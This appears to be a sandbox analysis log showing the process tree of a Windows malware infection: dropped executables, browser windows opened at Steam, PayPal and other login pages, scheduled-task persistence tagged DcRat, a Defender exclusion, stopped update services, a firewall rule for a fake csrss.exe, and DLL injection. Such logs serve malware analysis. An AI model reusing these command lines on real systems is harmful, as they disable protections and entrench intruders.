C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4756 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6108 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6564 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6516 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9130346f8,0x7ff913034708,0x7ff9130347183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2072,15557461984886182125,12936604812072843537,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 /prefetch:33⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9130346f8,0x7ff913034708,0x7ff9130347183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9130346f8,0x7ff913034708,0x7ff9130347183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9130346f8,0x7ff913034708,0x7ff9130347183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xdc,0x108,0x7ff9130346f8,0x7ff913034708,0x7ff9130347183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9130346f8,0x7ff913034708,0x7ff9130347183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2080,14104199133978608275,16098272989197708116,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 /prefetch:33⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9130346f8,0x7ff913034708,0x7ff9130347183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1764,16052726195453584056,18301751628379700531,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 /prefetch:33⤵
-
C:\Users\Admin\AppData\Local\Temp\19EF.exeC:\Users\Admin\AppData\Local\Temp\19EF.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1A5D.exeC:\Users\Admin\AppData\Local\Temp\1A5D.exe1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1ADB.exeC:\Users\Admin\AppData\Local\Temp\1ADB.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F3⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "explothe.exe" /P "Admin:N"4⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "explothe.exe" /P "Admin:R" /E4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\fefffe8cea" /P "Admin:N"4⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\fefffe8cea" /P "Admin:R" /E4⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main3⤵
-
C:\Users\Admin\AppData\Local\Temp\1C24.exeC:\Users\Admin\AppData\Local\Temp\1C24.exe1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9130346f8,0x7ff913034708,0x7ff9130347183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 /prefetch:33⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2672 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2224 /prefetch:23⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3536 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5004 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4960 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5812 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5812 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2212,163666961601241224,802285209849776524,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6008 /prefetch:13⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1116 -ip 11161⤵
-
C:\Users\Admin\AppData\Local\Temp\4316.exeC:\Users\Admin\AppData\Local\Temp\4316.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Broom.exeC:\Users\Admin\AppData\Local\Temp\Broom.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"4⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes5⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F5⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll5⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F5⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6148 -s 8804⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5872 -s 6483⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\kos4.exe"C:\Users\Admin\AppData\Local\Temp\kos4.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6OPGJ.tmp\is-NBIRE.tmp"C:\Users\Admin\AppData\Local\Temp\is-6OPGJ.tmp\is-NBIRE.tmp" /SL4 $3026A "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe" 5448218 1541124⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" helpmsg 15⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 helpmsg 16⤵
-
C:\Program Files (x86)\Smart Projects\IsoBuster\IsoBuster.exe"C:\Program Files (x86)\Smart Projects\IsoBuster\IsoBuster.exe" -i5⤵
-
C:\Program Files (x86)\Smart Projects\IsoBuster\IsoBuster.exe"C:\Program Files (x86)\Smart Projects\IsoBuster\IsoBuster.exe" -s5⤵
-
C:\Users\Admin\AppData\Local\Temp\latestX.exe"C:\Users\Admin\AppData\Local\Temp\latestX.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\45A7.exeC:\Users\Admin\AppData\Local\Temp\45A7.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\5930.exeC:\Users\Admin\AppData\Local\Temp\5930.exe1⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2888 -s 5763⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\5E52.exeC:\Users\Admin\AppData\Local\Temp\5E52.exe1⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\63A2.exeC:\Users\Admin\AppData\Local\Temp\63A2.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exeC:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2888 -ip 28881⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc1⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc2⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc2⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv2⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits2⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc2⤵
- Launches sc.exe
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 01⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }1⤵
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"1⤵
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\EA8.exeC:\Users\Admin\AppData\Local\Temp\EA8.exe1⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\1476.exeC:\Users\Admin\AppData\Local\Temp\1476.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe"C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe"2⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe" /F3⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "Admin:N"&&CACLS "Utsysc.exe" /P "Admin:R" /E&&echo Y|CACLS "..\ea7c8244c8" /P "Admin:N"&&CACLS "..\ea7c8244c8" /P "Admin:R" /E&&Exit3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "Utsysc.exe" /P "Admin:N"4⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "Utsysc.exe" /P "Admin:R" /E4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\ea7c8244c8" /P "Admin:N"4⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\ea7c8244c8" /P "Admin:R" /E4⤵
-
